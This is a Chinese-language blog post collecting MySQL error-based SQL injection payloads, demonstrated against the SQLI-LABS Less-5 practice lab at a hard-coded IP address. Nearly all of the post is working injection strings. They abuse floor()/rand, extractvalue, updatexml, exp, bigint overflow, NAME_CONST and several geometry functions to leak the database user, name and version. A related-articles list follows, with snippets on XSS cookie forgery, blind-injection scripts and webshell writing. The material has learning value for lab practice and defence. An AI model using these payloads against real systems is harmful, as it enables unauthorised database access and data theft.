SQL注入之报错注入的一些随笔

2023-11-07

0x00.序言

关于报错注入的话虽然我在我之前的文章里面写了一些,但是sql注入的姿势实在是太多了。之前写过的payload不全也不系统。今天抽出时间来总结一下。

ps:关于报错注入的原理和使用的基本函数我在我之前的文章《SQLI-LABS修炼笔记(二)》中已经详细说过了,如果不懂可以去看看。

ps的ps:这里以SQLI-LABS的LESS-5为例题作为示范。

0x01.floor()报错注入

http://43.247.91.228:84/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

0x02.extractvalue()报错注入

原理:xpath 函数报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

0x03.updatexml()报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 

0x04.exp()报错注入

原理:利用double 数值类型超出范围进行报错注入

http://43.247.91.228:84/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

0x05.利用!来溢出报错注入

原理:利用bigint 溢出进行报错注入

http://43.247.91.228:84/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

0x06.NAME_CONST()

原理:利用数据的重复性。

http://43.247.91.228:84/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

0x07.总结

  1. floor()
    and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
    information_schema.tables group by x)a)
  2. updatexml()
    and 1=(updatexml(1,concat(0x3a,(select user())),1))
  3. extractvalue()
    and extractvalue(1,concat(0x5c,(select user())))
  4. exp()
    and exp(~(select * from(select user())a))
  5. multipoint()
    and multipoint((select * from(select * from(select user())a)b))
  6. geometrycollection()
    and geometrycollection((select * from(select * from(select user())a)b))
  7. polygon()
    and polygon((select * from(select * from(select user())a)b))
  8. multipolygon()
    and multipolygon((select * from(select * from(select user())a)b))
  9. linestring()
    and linestring((select * from(select * from(select user())a)b))
  10. multilinestring()
    and multilinestring((select * from(select * from(select user())a)b))

参考链接:

1.《mysql注入天书》

2.《MySQL暴错注入方法整理》

3.《代码审计:企业级Web代码安全架构》

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入之报错注入的一些随笔 的相关文章

  • 深入解析sprintf格式化字符串漏洞

    深入解析sprintf格式化字符串漏洞 0x00 前言 从相遇到相识 从相识到相知 不过你真的懂ta吗 这次故事的主角是PHP中的格式化函数sprintf 0x01 sprintf 讲解 首先我们先了解sprintf 函数 sprintf
  • 封神台——Cookie伪造目标权限(存储型XSS)

    点击传送门看到的是一个留言板 我们首先要判断是否存在XSS 于是输入一串JS代码 看是否会弹出一个内容为 zkaq 的弹窗 出现了 说明存在XSS漏洞 关于XSS漏洞的科普如下 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代
  • 基于Sqli-Labs靶场的SQL注入-17~22关

    目录 Less 17 基于POST请求方式的中级注入 爆破数据库名 爆破表名 爆破列名 爆破字段值 第十七关代码审计 Less 18 HTTP头部注入 UA注入 爆破数据库名 爆破表名 爆破列名 爆破字段值 HTTP头部注入判断方法 Les
  • python脚本实现sql时间盲注

    这里用sqli labs master第10关举例 1 爆数据库长度 coding utf 8 import requests import datetime import time 获取数据库名长度 def database len fo
  • sqli-labs (less-5)

    sqli labs less 5 第五关和前面的四关就不一样了 当我们输入id 1时 页面不会再返回用户名和密码 而是返回了 You are in 输入 http 127 0 0 1 sql1 Less 5 id 1 这里报错 根据错误信息
  • 浏览器及手机版本型号判断

    Navigator 对象 包含有关浏览器的信息 所有浏览器都支持该对象 对象属性参考 https www w3school com cn jsref dom obj navigator asp 属性 描述 appCodeName 返回浏览器
  • 堆叠注入原理解析

    文章目录 一 堆叠注入原理 二 堆叠注入触发条件 三 题目 一 堆叠注入原理 mysql数据库sql语句的默认结束符是以 结尾 在执行多条SQL语句时就要使用结束符隔开 那么在 结束一条sql语句后继续构造下一条语句 是否会一起执行 因此这
  • Upload-labs文件上传漏洞(大小写绕过)——Pass05

    0 00 题目描述 真好把上一题的 htaccess文件也给黑名单限制了 与Pass04做个比较 0 01 源码分析 is upload false msg null if isset POST submit if file exists
  • sqli-labs:less-28(过滤了union和select)

    div div
  • CTF命令执行及绕过技巧

    前言 今天是代码审计部分的一个技巧补充 前些阵子做了sql注入回顾篇系列 今天开启php代码审计系列 今天内容主要是CTF中命令注入及绕过的一些技巧 以及构成RCE的一些情景 文章目录 前言 正文 代码执行 代码执行的几种方式 命令执行 常
  • 实验吧——认真一点!

    coding utf8 import requests import urllib 设置代理 用于调试过程中抓包分析 proxies http http localhost 9008 https http localhost 9008 he
  • 互联网安全架构

    web安全架构 上 开始之前这们说一下 web网站其实防御也相当重要 不管是服务器防御 后台数据防御 数据库防御都是必须滴 那我们说说常见的几种 后续再给大家分享 api接口安全性设计 黑名单白名单 以及防御DDOS XSS攻击 SQL注入
  • 苹果IOS手机设置BurpSuite抓包(详细步骤)

    0 01 添加BP的Proxy Listeners 点击Add添加 端口填写8080 然后选择Specific address 选手机和电脑同时在的那个IP区段 IP具体查询方式使用Win R 输入ipconfig 然后看这个 在Speci
  • 基于Sqli-Labs靶场的SQL注入-29~31关

    目录 Less 29 基于GET 双服务器 单引号 字符型注入 双服务器解析 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less 30 基于GET 双服务器 双引号 字符型注入 Less 31 基于GET 双服务器 双引号加括号 字符型
  • union(联合)注入和布尔注入

    没有很快乐 也没有不快乐 好像不该这样 但也只能这样 成长也许如此 行于奔溃边缘又慢慢自愈吧 网易云热评 一 union联合注入 1 select 1 2 3会生成一张临时表 表中的字段为查询的字段 内容也是查询的字段 2 select 1
  • sqlmap脚本tamper使用

    很多时候还是得静下来分析过滤系统到底过滤了哪些参数 该如何绕过 sqlmap中的tamper给我们带来了很多防过滤的脚本 非常实用 可能有的朋友还不知道怎样才能最有效的利用tamper脚本 当然使用脚本之前需要确定的就是系统过滤了哪些关键字
  • 基于Sql-Labs靶场的SQL注入-11~16关

    目录 Less 11 基于POST表单提交方式的字符型注入 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less 12 基于POST表单提交方式的字符型注入 Less 13 基于POST表单提交方式的报错注入 爆破数据库名 爆破表名 爆破
  • Sqlilabs-25a

    本关卡和 25 关的区别在于连单引号都省去了 http sqlilabs Less 25a id 1 报错 http sqlilabs Less 25a id 1 正常 http sqlilabs Less 25a id 1 ordery
  • sqli-labs通关攻略54-65[Challenges]

    Advanced Injections 文章目录 Advanced Injections less 54 less 55 less 56 less 60 less 62 less 63 less 64 less 65 最后一篇补上 less
  • sqli-labs-less-7 使用outfile函数写入一句话木马

    Less 7 一句话木马 判断注入点 127 0 0 1 sqli labs master Less 7 id 1 显示正常 提示 You are in Use outfile 127 0 0 1 sqli labs master Less

随机推荐